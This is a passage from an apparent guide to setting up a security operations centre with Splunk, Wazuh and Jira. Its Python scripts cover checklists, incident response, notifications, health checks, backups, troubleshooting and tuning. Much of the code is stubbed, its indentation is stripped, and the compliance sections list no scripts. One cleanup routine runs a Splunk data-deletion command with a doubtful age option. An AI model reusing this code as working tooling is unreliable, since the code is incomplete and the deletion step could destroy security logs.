'Verify Wazuh manager connectivity',

'Test Jira integration',

'Validate dashboard functionality'

],

'alert_review': [

'Review high-priority alerts',

'Triage new security events',

'Update incident status',

'Escalate critical issues'

],

'threat_hunting': [

'Run threat hunting queries',

'Analyze suspicious patterns',

'Update threat intelligence',

'Document findings'

],

'reporting': [

'Generate daily summary report',
'Update incident metrics',
'Review performance KPIs',
'Prepare management briefings'
]
}

def run_daily_checklist(self, analyst_name):
# Execute daily checklist
print(f'Starting daily checklist for {analyst_name}')

checklist_results = {
'timestamp': datetime.datetime.now().isoformat(),
'analyst': analyst_name,
'completed_items': [],
'failed_items': [],
'notes': []
}

# Run system health checks
health_results = self.check_system_health()
checklist_results['completed_items'].extend(health_results['completed'])
checklist_results['failed_items'].extend(health_results['failed'])

# Run alert review
alert_results = self.review_alerts()
checklist_results['completed_items'].extend(alert_results['completed'])
checklist_results['failed_items'].extend(alert_results['failed'])

# Run threat hunting
hunting_results = self.perform_threat_hunting()
checklist_results['completed_items'].extend(hunting_results['completed'])
checklist_results['failed_items'].extend(hunting_results['failed'])

# Generate reports
report_results = self.generate_reports()
checklist_results['completed_items'].extend(report_results['completed'])
checklist_results['failed_items'].extend(report_results['failed'])

# Save checklist results
self.save_checklist_results(checklist_results)

return checklist_results

def check_system_health(self):
```

```
# Check system health status
results = {'completed': [], 'failed': []}

systems = [
{'name': 'Splunk', 'url': 'https://splunk-server:8089'},
{'name': 'Wazuh', 'url': 'https://wazuh-manager:55000'},
{'name': 'Jira', 'url': 'https://jira-server:8080'},
{'name': 'Dashboard', 'url': 'https://soc-dashboard:5000'}
]

for system in systems:
try:
# Test system connectivity
response = self.test_system_connectivity(system['url'])
if response:
results['completed'].append(f"{system['name']} health check passed")
else:
results['failed'].append(f"{system['name']} health check failed")
except Exception as e:
results['failed'].append(f"{system['name']} health check error: {e}")

return results

def review_alerts(self):
# Review and triage alerts
results = {'completed': [], 'failed': []}

try:
# Get high-priority alerts
high_priority_alerts = self.get_high_priority_alerts()

# Review each alert
for alert in high_priority_alerts:
review_result = self.review_alert(alert)
if review_result:
results['completed'].append(f"Alert {alert['id']} reviewed")
else:
results['failed'].append(f"Alert {alert['id']} review failed")

results['completed'].append(f"Reviewed {len(high_priority_alerts)}
high-priority alerts")
except Exception as e:
results['failed'].append(f"Alert review error: {e}")
```

```
return results

def perform_threat_hunting(self):
# Perform threat hunting activities
results = {'completed': [], 'failed': []}

try:
# Run threat hunting queries
hunting_queries = [
'index=security_events suspicious_activity=true',
'index=security_events unknown_source=true',
'index=security_events unusual_pattern=true'
]

for query in hunting_queries:
hunting_result = self.run_hunting_query(query)
if hunting_result:
results['completed'].append(f"Threat hunting query executed: {query}")
else:
results['failed'].append(f"Threat hunting query failed: {query}")

results['completed'].append("Threat hunting activities completed")
except Exception as e:
results['failed'].append(f"Threat hunting error: {e}")

return results

def generate_reports(self):
# Generate daily reports
results = {'completed': [], 'failed': []}

try:
# Generate daily summary
summary_report = self.generate_daily_summary()
if summary_report:
results['completed'].append("Daily summary report generated")
else:
results['failed'].append("Daily summary report failed")

# Update metrics
metrics_updated = self.update_incident_metrics()
if metrics_updated:
results['completed'].append("Incident metrics updated")
```

```
else:
results['failed'].append("Metrics update failed")

# Prepare management briefing
briefing_prepared = self.prepare_management_briefing()
if briefing_prepared:
results['completed'].append("Management briefing prepared")
else:
results['failed'].append("Management briefing failed")
except Exception as e:
results['failed'].append(f"Report generation error: {e}")

return results

# Create daily checklist script
sudo chmod +x /opt/soc/operations/daily_checklist.py
```

17.4 Incident Response Procedures

Establish standardized incident response procedures for different types of security incidents, including escalation paths, communication protocols, and resolution workflows.

```
#!/usr/bin/env python3
# Incident Response Procedures
import json
import datetime
import logging

class SOCIncidentResponse:
def __init__(self):
self.incident_types = {
'malware': self.handle_malware_incident,
'phishing': self.handle_phishing_incident,
'data_breach': self.handle_data_breach_incident,
'network_attack': self.handle_network_attack_incident,
'insider_threat': self.handle_insider_threat_incident
}

def handle_incident(self, incident_data):
# Main incident handling procedure
incident_type = incident_data.get('type', 'unknown')

# Log incident start
```

```
self.log_incident_start(incident_data)

# Execute type-specific response
if incident_type in self.incident_types:
response_result = self.incident_types[incident_type](incident_data)
else:
response_result = self.handle_generic_incident(incident_data)

# Update incident status
self.update_incident_status(incident_data, response_result)

return response_result

def handle_malware_incident(self, incident_data):
# Handle malware incident
print(f"Handling malware incident: {incident_data['id']}")

response_steps = [
'Isolate affected systems',
'Collect malware samples',
'Analyze malware behavior',
'Update security controls',
'Remove malware from systems',
'Verify eradication',
'Document incident'
]

for step in response_steps:
self.execute_response_step(step, incident_data)

return {'status': 'contained', 'steps_completed': len(response_steps)}

def handle_phishing_incident(self, incident_data):
# Handle phishing incident
print(f"Handling phishing incident: {incident_data['id']}")

response_steps = [
'Identify affected users',
'Block malicious URLs/domains',
'Reset compromised accounts',
'Send user notifications',
'Conduct security awareness training',
'Update email security controls'
]
```

```
for step in response_steps:
self.execute_response_step(step, incident_data)

return {'status': 'contained', 'steps_completed': len(response_steps)}

def handle_data_breach_incident(self, incident_data):
# Handle data breach incident
print(f"Handling data breach incident: {incident_data['id']}")

response_steps = [
'Assess data exposure scope',
'Contain breach immediately',
'Notify legal and compliance',
'Engage incident response team',
'Contact law enforcement if necessary',
'Prepare breach notification',
'Implement additional controls'
]

for step in response_steps:
self.execute_response_step(step, incident_data)

return {'status': 'contained', 'steps_completed': len(response_steps)}

def execute_response_step(self, step, incident_data):
# Execute individual response step
try:
print(f"Executing: {step}")

# Log step execution
self.log_step_execution(step, incident_data)

# Perform step-specific actions
if 'isolate' in step.lower():
self.isolate_systems(incident_data)
elif 'collect' in step.lower():
self.collect_evidence(incident_data)
elif 'analyze' in step.lower():
self.analyze_evidence(incident_data)
elif 'update' in step.lower():
self.update_controls(incident_data)
elif 'notify' in step.lower():
self.send_notifications(incident_data)
```

```
print(f"Completed: {step}")
return True
except Exception as e:
print(f"Failed to execute {step}: {e}")
return False

def escalate_incident(self, incident_data, escalation_level):
# Escalate incident to appropriate level
escalation_procedures = {
'level_1': 'Notify senior analyst',
'level_2': 'Notify incident manager',
'level_3': 'Notify management team',
'level_4': 'Notify executive leadership'
}

if escalation_level in escalation_procedures:
procedure = escalation_procedures[escalation_level]
print(f"Escalating incident: {procedure}")

# Send escalation notification
self.send_escalation_notification(incident_data, escalation_level)

return True

return False

# Create incident response script
sudo chmod +x /opt/soc/operations/incident_response.py
```

17.5 Communication Protocols

Establish comprehensive communication protocols for SOC operations including internal team communication, stakeholder notifications, and external reporting procedures.

```
#!/usr/bin/env python3
# Communication Protocols
import json
import smtplib
import requests
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

class SOCCommunication:
def __init__(self):
```

```
self.communication_channels = {
'email': self.send_email_notification,
'slack': self.send_slack_notification,
'sms': self.send_sms_notification,
'pagerduty': self.send_pagerduty_notification
}

def send_incident_notification(self, incident_data, recipients):
# Send incident notification to stakeholders
notification_data = {
'subject': f"Security Incident: {incident_data['id']}",
'message': self.format_incident_message(incident_data),
'priority': incident_data.get('priority', 'medium'),
'recipients': recipients
}

# Determine notification channels based on priority
channels = self.get_notification_channels(notification_data['priority'])

# Send notifications through all channels
for channel in channels:
if channel in self.communication_channels:
self.communication_channels[channel](notification_data)

def send_status_update(self, status_data):
# Send regular status updates
update_message = self.format_status_message(status_data)

# Send to management team
self.send_email_notification({
'subject': 'SOC Status Update',
'message': update_message,
'recipients': ['management@company.com']
})

def send_escalation_notification(self, incident_data, escalation_level):
# Send escalation notification
escalation_message = self.format_escalation_message(incident_data,
escalation_level)

# Determine escalation recipients
escalation_recipients = self.get_escalation_recipients(escalation_level)

# Send escalation notification
```

```
self.send_email_notification({
'subject': f"URGENT: Incident Escalation - {incident_data['id']}",
'message': escalation_message,
'recipients': escalation_recipients
})

def format_incident_message(self, incident_data):
# Format incident message for notifications
message = f"""
SECURITY INCIDENT NOTIFICATION
=============================
Incident ID: {incident_data['id']}
Type: {incident_data.get('type', 'Unknown')}
Priority: {incident_data.get('priority', 'Medium')}
Status: {incident_data.get('status', 'Open')}
Description: {incident_data.get('description', 'No description')}
Timestamp: {incident_data.get('timestamp', 'Unknown')}
Assigned To: {incident_data.get('assigned_to', 'Unassigned')}

Please review and take appropriate action.
"""

return message

def format_status_message(self, status_data):
# Format status update message
message = f"""
SOC STATUS UPDATE
=================
Active Incidents: {status_data.get('active_incidents', 0)}
Resolved Today: {status_data.get('resolved_today', 0)}
System Health: {status_data.get('system_health', 'Unknown')}
Team Status: {status_data.get('team_status', 'Available')}

Key Metrics:
- MTTR: {status_data.get('mttr', 'N/A')}
- MTTD: {status_data.get('mttd', 'N/A')}
- False Positive Rate: {status_data.get('false_positive_rate', 'N/A')}
"""

return message

def send_email_notification(self, notification_data):
```

```
# Send email notification
try:
# Configure email settings
smtp_server = 'smtp.company.com'
smtp_port = 587
sender_email = 'soc@company.com'

# Create message
msg = MIMEMultipart()
msg['From'] = sender_email
msg['To'] = ', '.join(notification_data['recipients'])
msg['Subject'] = notification_data['subject']

# Add message body
msg.attach(MIMEText(notification_data['message'], 'plain'))

# Send email
# server = smtplib.SMTP(smtp_server, smtp_port)
# server.starttls()
# server.send_message(msg)
# server.quit()

print(f"Email notification sent: {notification_data['subject']}")
return True
except Exception as e:
print(f"Email notification failed: {e}")
return False

def send_slack_notification(self, notification_data):
# Send Slack notification
try:
slack_webhook = 'https://hooks.slack.com/services/YOUR_WEBHOOK'

slack_message = {
'text': notification_data['subject'],
'attachments': [
{
'text': notification_data['message'],
'color': self.get_priority_color(notification_data.get('priority', 'medium'))
}
]
}
```

```
# Send to Slack
# requests.post(slack_webhook, json=slack_message)

print(f"Slack notification sent: {notification_data['subject']}")
return True
except Exception as e:
print(f"Slack notification failed: {e}")
return False

def get_priority_color(self, priority):
# Get color for priority level
colors = {
'critical': 'danger',
'high': 'warning',
'medium': 'good',
'low': 'good'
}

return colors.get(priority.lower(), 'good')

# Create communication script
sudo chmod +x /opt/soc/operations/communication.py
```

Chapter 18: Maintenance & Troubleshooting

18.1 Maintenance Overview

Establish comprehensive maintenance and troubleshooting procedures for the SOC infrastructure, including system health monitoring, performance optimization, and issue resolution workflows.

```
# Create maintenance framework

sudo mkdir -p
/opt/soc/maintenance/{health_checks,backups,updates,troubleshooting}

sudo chown -R socadmin:soc /opt/soc/maintenance

# Create maintenance configuration

sudo nano /opt/soc/maintenance/config/maintenance_config.json

# Configuration content:

{

"maintenance_schedule": {

"daily": ["health_check", "backup_verification"],

"weekly": ["performance_optimization", "log_cleanup"],

"monthly": ["security_updates", "system_updates"]

},

"health_checks": {

"splunk": ["service_status", "disk_space", "memory_usage"],

"wazuh": ["manager_status", "agent_connectivity", "rule_updates"],

"jira": ["service_status", "database_health", "plugin_updates"]

},

"backup_procedures": {

"frequency": "daily",

"retention": "30_days",

"verification": "automated"

},

"troubleshooting": {

"escalation_levels": ["level_1", "level_2", "level_3"],

"documentation_required": true,

"resolution_tracking": true

}

}
```

18.2 System Health Monitoring

Implement comprehensive system health monitoring for all SOC components, including automated health checks, performance monitoring, and alerting for system issues.

```
#!/usr/bin/env python3
# System Health Monitoring
import psutil
import requests
import json
import logging
import subprocess

class SOCHealthMonitor:
def __init__(self):
self.setup_logging()
self.health_thresholds = {
'cpu_usage': 80,
'memory_usage': 85,
'disk_usage': 90,
'response_time': 5
}

def setup_logging(self):
logging.basicConfig(
filename='/var/log/soc/health_monitor.log',
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
self.logger = logging.getLogger(__name__)

def check_system_health(self):
# Comprehensive system health check
health_results = {
'timestamp': self.get_timestamp(),
'overall_status': 'healthy',
'components': {}
}

# Check Splunk health
splunk_health = self.check_splunk_health()
health_results['components']['splunk'] = splunk_health
```

```
# Check Wazuh health
wazuh_health = self.check_wazuh_health()
health_results['components']['wazuh'] = wazuh_health

# Check Jira health
jira_health = self.check_jira_health()
health_results['components']['jira'] = jira_health

# Check system resources
system_health = self.check_system_resources()
health_results['components']['system'] = system_health

# Determine overall status
health_results['overall_status'] =
self.determine_overall_status(health_results['components'])

# Log health results
self.log_health_results(health_results)

return health_results

def check_splunk_health(self):
# Check Splunk service health
try:
# Check Splunk service status
service_status = self.check_service_status('splunk')

# Check Splunk API connectivity
api_status = self.check_splunk_api()

# Check Splunk disk usage
disk_usage = self.check_splunk_disk_usage()

# Check Splunk indexing performance
indexing_status = self.check_splunk_indexing()

return {
'status': 'healthy' if all([service_status, api_status, disk_usage < 90,
indexing_status]) else 'unhealthy',
'service_status': service_status,
'api_status': api_status,
'disk_usage': disk_usage,
'indexing_status': indexing_status
}
except Exception as e:
```

```
self.logger.error(f'Splunk health check failed: {e}')
return {'status': 'error', 'error': str(e)}

def check_wazuh_health(self):
# Check Wazuh service health
try:
# Check Wazuh manager status
manager_status = self.check_wazuh_manager()

# Check agent connectivity
agent_connectivity = self.check_wazuh_agents()

# Check rule updates
rule_status = self.check_wazuh_rules()

# Check Wazuh API
api_status = self.check_wazuh_api()

return {
'status': 'healthy' if all([manager_status, agent_connectivity, rule_status,
api_status]) else 'unhealthy',
'manager_status': manager_status,
'agent_connectivity': agent_connectivity,
'rule_status': rule_status,
'api_status': api_status
}
except Exception as e:
self.logger.error(f'Wazuh health check failed: {e}')
return {'status': 'error', 'error': str(e)}

def check_system_resources(self):
# Check system resource usage
try:
# CPU usage
cpu_usage = psutil.cpu_percent(interval=1)

# Memory usage
memory = psutil.virtual_memory()
memory_usage = memory.percent

# Disk usage
disk = psutil.disk_usage('/')
disk_usage = (disk.used / disk.total) * 100
```

```
# Network status
network_status = self.check_network_connectivity()

return {
'status': 'healthy' if all([
cpu_usage < self.health_thresholds['cpu_usage'],
memory_usage < self.health_thresholds['memory_usage'],
disk_usage < self.health_thresholds['disk_usage'],
network_status
]) else 'unhealthy',
'cpu_usage': cpu_usage,
'memory_usage': memory_usage,
'disk_usage': disk_usage,
'network_status': network_status
}
except Exception as e:
self.logger.error(f'System resource check failed: {e}')
return {'status': 'error', 'error': str(e)}

def check_service_status(self, service_name):
# Check if service is running
try:
result = subprocess.run(['systemctl', 'is-active', service_name],
capture_output=True, text=True)
return result.stdout.strip() == 'active'
except Exception as e:
self.logger.error(f'Service status check failed for {service_name}: {e}')
return False

def determine_overall_status(self, components):
# Determine overall system health status
unhealthy_components = [
comp for comp, status in components.items()
if status.get('status') != 'healthy'
]

if not unhealthy_components:
return 'healthy'
elif len(unhealthy_components) <= 1:
return 'degraded'
else:
```

```
return 'unhealthy'

# Create health monitoring script
sudo chmod +x /opt/soc/maintenance/health_monitor.py
```

18.3 Backup and Recovery

Implement comprehensive backup and recovery procedures for all SOC components, including automated backup scheduling, verification, and disaster recovery procedures.

```
#!/usr/bin/env python3
# Backup and Recovery System
import os
import shutil
import tarfile
import datetime
import logging
import subprocess

class SOCBackupManager:
def __init__(self):
self.backup_config = {
'backup_dir': '/opt/soc/backups',
'retention_days': 30,
'compression': True,
'verification': True
}
self.setup_logging()

def setup_logging(self):
logging.basicConfig(
filename='/var/log/soc/backup_manager.log',
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
self.logger = logging.getLogger(__name__)

def create_backup(self):
# Create comprehensive backup
timestamp = datetime.datetime.now().strftime('%Y%m%d_%H%M%S')
backup_name = f'soc_backup_{timestamp}'
backup_path = os.path.join(self.backup_config['backup_dir'], backup_name)
```

```
try:
# Create backup directory
os.makedirs(backup_path, exist_ok=True)

# Backup Splunk configuration
self.backup_splunk_config(backup_path)

# Backup Wazuh configuration
self.backup_wazuh_config(backup_path)

# Backup Jira configuration
self.backup_jira_config(backup_path)

# Backup SOC configuration
self.backup_soc_config(backup_path)

# Create compressed archive
if self.backup_config['compression']:
self.create_compressed_backup(backup_path, backup_name)

# Verify backup
if self.backup_config['verification']:
verification_result = self.verify_backup(backup_path)
if not verification_result:
raise Exception('Backup verification failed')

self.logger.info(f'Backup completed successfully: {backup_name}')
return backup_name
except Exception as e:
self.logger.error(f'Backup failed: {e}')
# Cleanup failed backup
if os.path.exists(backup_path):
shutil.rmtree(backup_path)
raise

def backup_splunk_config(self, backup_path):
# Backup Splunk configuration
splunk_backup_dir = os.path.join(backup_path, 'splunk')
os.makedirs(splunk_backup_dir, exist_ok=True)

splunk_configs = [
'/opt/splunk/etc/system/local',
'/opt/splunk/etc/apps',
'/opt/splunk/etc/users'
]

for config_path in splunk_configs:
if os.path.exists(config_path):
dest_path = os.path.join(splunk_backup_dir, os.path.basename(config_path))
shutil.copytree(config_path, dest_path)

def backup_wazuh_config(self, backup_path):
# Backup Wazuh configuration
wazuh_backup_dir = os.path.join(backup_path, 'wazuh')
os.makedirs(wazuh_backup_dir, exist_ok=True)

wazuh_configs = [
'/var/ossec/etc',
'/var/ossec/rules',
'/var/ossec/logs'
]

for config_path in wazuh_configs:
if os.path.exists(config_path):
dest_path = os.path.join(wazuh_backup_dir, os.path.basename(config_path))
shutil.copytree(config_path, dest_path)

def backup_soc_config(self, backup_path):
# Backup SOC configuration
soc_backup_dir = os.path.join(backup_path, 'soc')
os.makedirs(soc_backup_dir, exist_ok=True)

soc_configs = [
'/opt/soc/config',
'/opt/soc/scripts',
'/opt/soc/dashboards'
]

for config_path in soc_configs:
if os.path.exists(config_path):
dest_path = os.path.join(soc_backup_dir, os.path.basename(config_path))
shutil.copytree(config_path, dest_path)

def create_compressed_backup(self, backup_path, backup_name):
# Create compressed backup archive
archive_path = f'{backup_path}.tar.gz'

with tarfile.open(archive_path, 'w:gz') as tar:
```

```
tar.add(backup_path, arcname=backup_name)

# Remove uncompressed directory
shutil.rmtree(backup_path)

return archive_path

def verify_backup(self, backup_path):
# Verify backup integrity
try:
# Check if backup directory exists
if not os.path.exists(backup_path):
return False

# Check for required components
required_components = ['splunk', 'wazuh', 'soc']
for component in required_components:
component_path = os.path.join(backup_path, component)
if not os.path.exists(component_path):
self.logger.warning(f'Missing backup component: {component}')
return False

# Check backup size
backup_size = self.get_directory_size(backup_path)
if backup_size < 1024: # Less than 1KB
self.logger.warning('Backup size too small')
return False

return True
except Exception as e:
self.logger.error(f'Backup verification failed: {e}')
return False

def restore_backup(self, backup_name):
# Restore from backup
try:
backup_path = os.path.join(self.backup_config['backup_dir'], backup_name)

if not os.path.exists(backup_path):
raise Exception(f'Backup not found: {backup_name}')

# Stop services before restore
self.stop_soc_services()

# Restore configurations
```

```
self.restore_splunk_config(backup_path)
self.restore_wazuh_config(backup_path)
self.restore_soc_config(backup_path)

# Start services after restore
self.start_soc_services()

self.logger.info(f'Restore completed successfully: {backup_name}')
return True
except Exception as e:
self.logger.error(f'Restore failed: {e}')
raise

# Create backup manager script
sudo chmod +x /opt/soc/maintenance/backup_manager.py
```

18.4 Troubleshooting Procedures

Establish comprehensive troubleshooting procedures for common SOC issues, including diagnostic tools, escalation procedures, and resolution workflows.

```
#!/usr/bin/env python3
# Troubleshooting Procedures
import subprocess
import logging
import json
import requests
import psutil

class SOCTroubleshooter:
def __init__(self):
self.setup_logging()
self.troubleshooting_procedures = {
'splunk_issues': self.troubleshoot_splunk,
'wazuh_issues': self.troubleshoot_wazuh,
'jira_issues': self.troubleshoot_jira,
'network_issues': self.troubleshoot_network,
'performance_issues': self.troubleshoot_performance
}

def setup_logging(self):
logging.basicConfig(
filename='/var/log/soc/troubleshooting.log',
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
self.logger = logging.getLogger(__name__)

def diagnose_issue(self, issue_type, issue_description):
# Main troubleshooting procedure
self.logger.info(f'Starting diagnosis for {issue_type}: {issue_description}')

diagnosis_result = {
'issue_type': issue_type,
'description': issue_description,
'diagnosis_steps': [],
'findings': [],
'recommendations': [],
'resolution': None
}

# Execute type-specific troubleshooting
if issue_type in self.troubleshooting_procedures:
result = self.troubleshooting_procedures[issue_type](issue_description)
diagnosis_result.update(result)
else:
diagnosis_result['findings'].append('Unknown issue type')

# Log diagnosis results
self.log_diagnosis_results(diagnosis_result)

return diagnosis_result

def troubleshoot_splunk(self, description):
# Troubleshoot Splunk issues
findings = []
recommendations = []

# Check Splunk service status
service_status = self.check_service_status('splunk')
findings.append(f'Splunk service status: {service_status}')

if not service_status:
recommendations.append('Restart Splunk service')

# Check Splunk logs
log_errors = self.check_splunk_logs()
```

```
if log_errors:
findings.append(f'Splunk log errors: {log_errors}')
recommendations.append('Review and fix log errors')

# Check disk space
disk_usage = self.check_disk_usage('/opt/splunk')
findings.append(f'Splunk disk usage: {disk_usage}%')

if disk_usage > 90:
recommendations.append('Clean up Splunk indexes or increase disk space')

# Check memory usage
memory_usage = self.check_memory_usage()
findings.append(f'Memory usage: {memory_usage}%')

if memory_usage > 85:
recommendations.append('Optimize Splunk memory settings or increase RAM')

return {
'findings': findings,
'recommendations': recommendations
}

def troubleshoot_wazuh(self, description):
# Troubleshoot Wazuh issues
findings = []
recommendations = []

# Check Wazuh manager status
manager_status = self.check_wazuh_manager_status()
findings.append(f'Wazuh manager status: {manager_status}')

if not manager_status:
recommendations.append('Restart Wazuh manager service')

# Check agent connectivity
agent_count = self.check_wazuh_agents()
findings.append(f'Connected agents: {agent_count}')

if agent_count == 0:
recommendations.append('Check agent connectivity and firewall rules')

# Check rule updates
rule_status = self.check_wazuh_rules()
findings.append(f'Wazuh rules status: {rule_status}')
```

```
if not rule_status:
recommendations.append('Update Wazuh rules')

return {
'findings': findings,
'recommendations': recommendations
}

def troubleshoot_network(self, description):
# Troubleshoot network issues
findings = []
recommendations = []

# Check network connectivity
connectivity = self.check_network_connectivity()
findings.append(f'Network connectivity: {connectivity}')

if not connectivity:
recommendations.append('Check network configuration and firewall rules')

# Check DNS resolution
dns_status = self.check_dns_resolution()
findings.append(f'DNS resolution: {dns_status}')

if not dns_status:
recommendations.append('Check DNS configuration')

# Check port accessibility
port_status = self.check_port_accessibility()
findings.append(f'Port accessibility: {port_status}')

if not port_status:
recommendations.append('Check firewall and service configurations')

return {
'findings': findings,
'recommendations': recommendations
}

def check_service_status(self, service_name):
# Check if service is running
try:
result = subprocess.run(['systemctl', 'is-active', service_name],
capture_output=True, text=True)
return result.stdout.strip() == 'active'
```

```
except Exception as e:
self.logger.error(f'Service status check failed: {e}')
return False

def check_disk_usage(self, path):
# Check disk usage for path
try:
disk = psutil.disk_usage(path)
return (disk.used / disk.total) * 100
except Exception as e:
self.logger.error(f'Disk usage check failed: {e}')
return 0

def check_memory_usage(self):
# Check memory usage
try:
memory = psutil.virtual_memory()
return memory.percent
except Exception as e:
self.logger.error(f'Memory usage check failed: {e}')
return 0

# Create troubleshooting script
sudo chmod +x /opt/soc/maintenance/troubleshooter.py
```

18.5 Performance Optimization

Implement performance optimization procedures for SOC components, including system tuning, resource optimization, and performance monitoring to ensure optimal operation.

```
#!/usr/bin/env python3
# Performance Optimization
import psutil
import subprocess
import logging
import json

class SOCPerformanceOptimizer:
def __init__(self):
self.setup_logging()
self.optimization_targets = {
'cpu_usage': 70,
'memory_usage': 80,
'disk_io': 80,
'network_io': 80
}

def setup_logging(self):
logging.basicConfig(
filename='/var/log/soc/performance_optimizer.log',
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
self.logger = logging.getLogger(__name__)

def optimize_system_performance(self):
# Comprehensive system performance optimization
optimization_results = {
'timestamp': self.get_timestamp(),
'optimizations_applied': [],
'performance_improvements': {}
}

# Optimize Splunk performance
splunk_optimization = self.optimize_splunk_performance()
optimization_results['optimizations_applied'].extend(splunk_optimization)

# Optimize Wazuh performance
wazuh_optimization = self.optimize_wazuh_performance()
optimization_results['optimizations_applied'].extend(wazuh_optimization)

# Optimize system resources
system_optimization = self.optimize_system_resources()
optimization_results['optimizations_applied'].extend(system_optimization)

# Measure performance improvements
performance_improvements = self.measure_performance_improvements()
optimization_results['performance_improvements'] = performance_improvements

# Log optimization results
self.log_optimization_results(optimization_results)

return optimization_results

def optimize_splunk_performance(self):
# Optimize Splunk performance
```

```
optimizations = []

try:
# Optimize Splunk indexing
self.optimize_splunk_indexing()
optimizations.append('Splunk indexing optimized')

# Optimize Splunk search performance
self.optimize_splunk_search()
optimizations.append('Splunk search performance optimized')

# Optimize Splunk memory usage
self.optimize_splunk_memory()
optimizations.append('Splunk memory usage optimized')

# Clean up old indexes
self.cleanup_old_indexes()
optimizations.append('Old indexes cleaned up')
except Exception as e:
self.logger.error(f'Splunk optimization failed: {e}')

return optimizations

def optimize_wazuh_performance(self):
# Optimize Wazuh performance
optimizations = []

try:
# Optimize Wazuh rule processing
self.optimize_wazuh_rules()
optimizations.append('Wazuh rule processing optimized')

# Optimize Wazuh agent communication
self.optimize_wazuh_agents()
optimizations.append('Wazuh agent communication optimized')

# Optimize Wazuh log processing
self.optimize_wazuh_logs()
optimizations.append('Wazuh log processing optimized')
except Exception as e:
self.logger.error(f'Wazuh optimization failed: {e}')

return optimizations

def optimize_system_resources(self):
```

```
# Optimize system resources
optimizations = []

try:
# Optimize CPU usage
cpu_usage = psutil.cpu_percent(interval=1)
if cpu_usage > self.optimization_targets['cpu_usage']:
self.optimize_cpu_usage()
optimizations.append('CPU usage optimized')

# Optimize memory usage
memory = psutil.virtual_memory()
if memory.percent > self.optimization_targets['memory_usage']:
self.optimize_memory_usage()
optimizations.append('Memory usage optimized')

# Optimize disk I/O
disk_io = self.get_disk_io_usage()
if disk_io > self.optimization_targets['disk_io']:
self.optimize_disk_io()
optimizations.append('Disk I/O optimized')

# Optimize network I/O
network_io = self.get_network_io_usage()
if network_io > self.optimization_targets['network_io']:
self.optimize_network_io()
optimizations.append('Network I/O optimized')
except Exception as e:
self.logger.error(f'System resource optimization failed: {e}')

return optimizations

def optimize_splunk_indexing(self):
# Optimize Splunk indexing performance
try:
# Update Splunk indexing settings
indexing_config = {
'maxHotBuckets': 3,
'maxWarmDBCount': 300,
'maxTotalDataSizeMB': 500000
}

# Apply indexing optimizations
```

```
for setting, value in indexing_config.items():
self.update_splunk_setting(setting, value)
except Exception as e:
self.logger.error(f'Splunk indexing optimization failed: {e}')

def optimize_splunk_search(self):
# Optimize Splunk search performance
try:
# Update search performance settings
search_config = {
'max_concurrent_searches': 4,
'search_process_mode': 'normal'
}

# Apply search optimizations
for setting, value in search_config.items():
self.update_splunk_setting(setting, value)
except Exception as e:
self.logger.error(f'Splunk search optimization failed: {e}')

def cleanup_old_indexes(self):
# Clean up old Splunk indexes
try:
# Remove indexes older than retention period
retention_days = 30

# Execute cleanup command
cleanup_command = f'splunk clean eventdata -older {retention_days}d'
subprocess.run(cleanup_command.split(), check=True)
except Exception as e:
self.logger.error(f'Index cleanup failed: {e}')

def measure_performance_improvements(self):
# Measure performance improvements
improvements = {}

try:
# Measure CPU improvement
cpu_before = self.get_cpu_usage_baseline()
cpu_after = psutil.cpu_percent(interval=1)
improvements['cpu_improvement'] = cpu_before - cpu_after

# Measure memory improvement
```

```
memory_before = self.get_memory_usage_baseline()

memory_after = psutil.virtual_memory().percent

improvements['memory_improvement'] = memory_before - memory_after

# Measure response time improvement

response_before = self.get_response_time_baseline()

response_after = self.measure_response_time()

improvements['response_improvement'] = response_before - response_after

except Exception as e:

self.logger.error(f'Performance measurement failed: {e}')

return improvements

# Create performance optimizer script

sudo chmod +x /opt/soc/maintenance/performance_optimizer.py
```

Chapter 19: Compliance & Governance

19.1 Compliance Overview

Implement comprehensive compliance and governance frameworks for the SOC implementation, including regulatory requirements, industry standards, and governance procedures to ensure adherence to security and privacy regulations.

```
# Create compliance framework
sudo mkdir -p /opt/soc/compliance/{frameworks,audits,reports,controls}
sudo chown -R socadmin:soc /opt/soc/compliance

# Create compliance configuration
sudo nano /opt/soc/compliance/config/compliance_config.json

# Configuration content:
{
"compliance_frameworks": {
"iso_27001": {
"enabled": true,
"controls": ["A.12.4", "A.13.2", "A.16.1"],
"audit_frequency": "quarterly"
},
"soc_2": {
"enabled": true,
"trust_services": ["security", "availability", "confidentiality"],
"audit_frequency": "annually"
},
"pci_dss": {
"enabled": true,
"requirements": ["3.1", "7.1", "10.1", "11.1"],
"audit_frequency": "quarterly"
},
"hipaa": {
"enabled": true,
"safeguards": ["administrative", "physical", "technical"],
"audit_frequency": "annually"
},
"gdpr": {
"enabled": true,
"principles": ["lawfulness", "purpose_limitation", "data_minimization"],
"audit_frequency": "quarterly"
}
},
"governance_procedures": {
"risk_assessment": "monthly",
"policy_review": "quarterly",
"training_frequency": "annually",
"incident_reporting": "immediate"
},
"audit_requirements": {
"documentation": true,
"evidence_collection": true,
"continuous_monitoring": true,
"remediation_tracking": true
}
}
```

19.2 ISO 27001 Implementation

Implement ISO 27001 Information Security Management System (ISMS) controls and procedures for the SOC implementation, including risk assessment, security controls, and continuous improvement.

```
sudo chmod +x /opt/soc/compliance/iso_27001_compliance.py
```

19.3 SOC 2 Type II Implementation

Implement SOC 2 Type II controls and procedures focusing on security, availability, and confidentiality trust service criteria for the SOC implementation.

```
sudo chmod +x /opt/soc/compliance/soc2_compliance.py
```

19.4 PCI DSS Implementation

Implement PCI DSS (Payment Card Industry Data Security Standard) requirements for the SOC implementation, focusing on protecting cardholder data and maintaining secure payment environments.

```
sudo chmod +x /opt/soc/compliance/pci_dss_compliance.py
```

19.5 Governance and Risk Management

Implement comprehensive governance and risk management procedures for the SOC implementation, including risk assessment, policy management, and governance oversight.

```
sudo chmod +x /opt/soc/compliance/governance_risk.py
```

Appendix B: Scripts and Code

B.1 Python Scripts Overview

This appendix contains comprehensive Python scripts and code examples used throughout the SOC implementation. These scripts provide automation, integration, and operational capabilities for the security operations center.

```
# Python Scripts Directory Structure
sudo mkdir -p /opt/soc/scripts/{automation,integration,monitoring,utilities}
sudo chown -R socadmin:soc /opt/soc/scripts

# Script categories:
# - automation/: Automated response and workflow scripts
